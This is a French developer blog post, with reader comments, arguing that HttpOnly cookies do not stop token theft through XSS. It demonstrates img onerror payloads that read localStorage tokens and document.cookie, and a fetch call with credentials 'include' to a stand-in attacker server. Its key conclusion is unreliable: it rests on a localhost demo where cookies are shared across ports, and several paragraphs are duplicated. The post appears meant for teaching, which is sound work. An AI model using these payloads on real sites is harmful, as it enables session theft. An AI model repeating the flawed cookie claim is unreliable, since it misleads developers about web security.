Cet article a été, à l'origine, publié sur mon blog personnel : https://boris-cerati.fr/blog/http-only-xss-attacks
Il m'arrive souvent de devoir développer des applications qui possèdent d'une part un backend, généralement développé avec le framework Symfony, et d'autre part un frontend (React par exemple). Souvent, ce qui est fait, c'est que le front sauvegarde un token d'authentification soit dans le localStorage, soit dans les cookies afin de le transmettre au backend et authentifier l'utilisateur.
Très bien, mais il y a des soucis dans cette manière de faire :
- le localStorage est vulnérable aux attaques XSS ;
- les cookies sont également vulnérables aux attaques XSS.
En effet, les données sauvegardées en localStorage ou dans les cookies sont accessibles par du code JS malveillant qui aurait été injecté dans votre page au travers d'une faille XSS.
Comment s'en prémunir ? Peut-être pouvons-nous penser aux cookies avec le flag HttpOnly ?
Voyons pourquoi cette solution n'est pas la bonne et que la meilleure solution pour protéger votre application est d'évter les failles XSS, tout simplement.
Que sont les cookies HttpOnly
Aujourd'hui, les cookies sont présents partout sur nos applications. En effet, ils permettent, coté client, de stocker un état, comme la session d'un utilisateur. Vous voyez la fonctionnalité "Se souvenir de moi" sur de nombreueses applications ? Un cookie se cache par là ! Et les informations que contiennent les cookies sont souvent sensibles, il faut donc les protéger contre les tentatives de piratage !
Les cookies, essentiels pour stocker des informations sensible coté client
Les cookies sont stockés coté client sur la demande de votre backend. Pour cela, le backend vous envoie un header dans la réponse nommé Set-Cookie
qui contient, entre autres, le nom et la valeur du cookie. Voyez la documentation sur le MDN.
Dans cet en-tête Set-Cookie
deux informations sont importantes :
- Secure : les cookies portant le flag
Secure
ne sont envoyés que si la requête est https ; - HttpOnly : empêche du code JS d'accéder aux cookies portant cette notion de
HttpOnly
.
Un cookie déclaré comme étant HttpOnly n'est donc pas accessible via du code JS. Si vous faîtes un document.cookie
vous ne les verrez pas. Ainsi, si vous avez une faille XSS qui autorise une personne malveillante à injecter du code JS dans vos pages, elle n'aura pas accès à ces cookies.
Voyons la liste des cookies retournés par un document.cookie
sur ma console Chrome à partir du site de Twitter :
Liste des cookies sur mon twitter
Et maintenant, regardez la liste complète de mes cookies sur le domaine de Twitter :
Liste des cookies sur mon twitter
Comme vous pouvez le voir, les cookies HttpOnly n'apparaissent pas dans un docuemnt.cookie
.
De manière générale, toutes les informations sensibles doivent être dans des cookies HttpOnly. Mais est-ce suffisant ? Voyons ça avec plusieurs solutions pour stocker les informations sensibles :
- dans le localStorage ;
- dans des cookies ;
- dans des cookies HttpOnly.
Le code pour suivre cet article
Voici le code que je vais utiliser dans la suite de l'article. Il vous permettra de tester chacunes des solutions ci-dessous.
- code pour le stockage dans le localStorage ;
- code pour le stockage dans un cookie simple ;
- code pour le stockage dans un cookie HttpOnly.
Pour chaque code téléchargé, vous aurez un dossier comprenant le partie backend et la partie frontend.
- le backend : contenant le code du backend. Il est développé de manière très simple avec NodeJS et avec des faux tokens, non cryptés. Ce n'est que pour l'exemple, bien sûr ;
- le frontend : un simple front avec une page
ndex.html
et un fichierapp.js
permettant au clic sur un bouton de se connecter (le backend est appelé et renvoie un token stocké soit dans le localStorage soit dans un cookie) et au clic sur un autre bouton d'ajouter un commentaire avec une faille XSS.
Vous pouvez démarrer le projet en exécutant, les commandes suivantes :
npm ci
node app.js
Puis allez sur http://127.0.0.1:3000
.
Utilisons le localStorage
Une fois que le projet est démarré, vous devriez avoir une page qui ressemble à ça :
Avant tout, cliquez sur "Connexion". À ce moment-là, un appel au backend est fait et ce dernier nous renvoie un token que l'on peut stocker dans le localStorage :
window.localStorage.setItem('token', token);
Ensuite, entrez un commentaire puis envoyez-le au backend. Il vous le renverra et le front pourra ensuite l'ajouter au DOM. Entrez par exemple "Un exemple de commentaire.". Vous le verrez apparaître.
Aujourd'hui, les principaux navigateurs nous empêchent d'exécuter des balises <script>
ajoutées dynamiquement au DOM. Pour prévenir les attaques XSS justement. Mais il y a une parade bien connue, les images ! Entrez donc ce commentaire :
<img src="http://fake-image.org/fake.png" onerror="alert(window.localStorage.getItem('token'));">
Voyez ce qui se passe :
Faille XSS, apparition du token
Hum, pas génial. Ici, nous affichons simplement le token. Bien sûr, dans la réalité, une personne malintentionnée l'enverra sur son propre backend et aura ainsi vos accès.
Utilisons les cookies (sans HttpOnly)
Plutôt que de stocker dans le localStorage, voyons pour le stocker dans les cookies (sans l'option HttpOnly). Le process reste le même, nous cliquons sur "Connexion", cela fera un appel au backend qui ajoute un header Set-Cookie pour dire au client de créer un cookie. Voici le code fait dans le backend :
res.cookie('token', 'my-secret-token', { maxAge: 900000 });
Le cookie apparaît dans le client :
Le cookie apparaît dans le client
Ajoutons un commentaire mal-intentionné :
<img src="http://fake-image.org/fake.png" onerror="alert(document.cookie);">
Eh mince, le cookie peut aussi être piraté part une faille XSS.
Bon, on a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.
Voici le résultat :
Le cookie apparaît en clair dans le client
Mince, le cookie peut aussi être piraté part une faille XSS.
Bon, on n'a pas trop le choix, on va essayer de sécuriser tout ça avec un cookie HttpOnly.
Utilisons les cookies (avec HttpOnly)
Cette fois-ci, je compte bien faire en sorte que mon token reste secret ! Faisons en sorte que notre cookie ait le flag HttpOnly. Au moins nous serons sûr qu'aucun code JS n'y aura accès du coté du client !
Il n'y a vraiment pas grand chose à changer pour transformer notre cookie en cookie HttpOnly. Voyez la ligne que je modifie dans le code du backend :
res.cookie('token', 'my-secret-token', { maxAge: 900000, httpOnly: true });
Nous récupérons bien notre cookie HttpOnly, la preuve :
Le cookie est protégé contre les accès coté client
Ajoutons le même commentaire mal-intentionné que tout à l'heure :
<img src="http://fake-image.org/fake.png" onerror="alert(document.cookie);">
Le client ne peut pas voir les cookies
Yeah, malgré la faille XSS sur mon application, le client ne peut pas lire les cookies avec du JS et le hacker ne pourra pas voler mes informations !
Yeah, malgré la faille XSS sur mon application, le client ne peut pas lire les cookies avec du JS et le hacker ne pourra pas voler mes informations !
Bon, du coup, HttpOnly est une bonne solution ? Pas si vite, essayons de contourner ça !
Contourner les cookies HttpOnly
Les essais qui vont suivre ont été faits sur la même base de code que ci-dessus, avec les cookies HttpOnly.
Les cookies se trouvent du coté du client et sont transmis automatiquement au backend si je fais un appel Ajax, voyons cela en ajoutons un commentaire qui fera un appel Ajax :
<img src="http://fake-image.org/fake.png" onerror="fetch('/fake');">
Les cookies sont transmis au backend
Bon, le backend dans ce cas, est le mien. Je sais ce que je fais dans le back pas de soucis, le pirate n'a toujours pas mon cookie. Mais s'il fait un appel Ajax à son backend à lui ? Voyons cela :
<img src="http://fake-image.org/fake.png" onerror="fetch('http://127.0.0.1:4500');">
Les cookies ne lui sont pas transmis !
Ouf, les cookies ne lui sont pas transmis.
Mais attendez ! Il existe une parade ! Regardez
<img src="https://fake-image.org/fake.png" onerror="fetch('http://127.0.0.1:4500', { credentials: 'include' });">
Les cookies sont transmis au hacker !
Voilà, en ajoutant l'option credentials: 'include'
à fetch il transmet les cookies dans les headers de la requête Http. Le pirate a réussi à récupérer nos informations.
Conclusion
Comme nous venons de le voir, mettre ses informations sécrètes dans le localStorage, dans les cookies ou dans les cookies possédant le flag HttpOnly ne nous garanti pas une sécurité optimale. Aucune de ces solutions ne pourra empêcher un hacker d'exploiter une faille XSS et de mettre la main sur vos informations secrètes.
La seule solution afin de sécuriser vos données et de ne pas avoir de faille XSS. Aussi simple que cela. :)
Top comments (3)
Super instructif, merci ! Concernant le "credentials:true", ça fonctionne même avec SameSite=strict et Domain="mondomain.com" ?
Théoriquement c'est censé interdire l'envoi du cookie ailleurs que sur mondomain.com et ses sous-domaines
Très bel article. Il y'a manifestement une tonne d'article qui tendent ä dire trivialement que le flag httpOnly permet de se prémunir des XSS : avec votre illustration ici faite, votre conclusion est indiscutable. Merci!
Auriez-vous un article où vous abordez les moyens de se prémunir des XSS?
Merci pour ces tests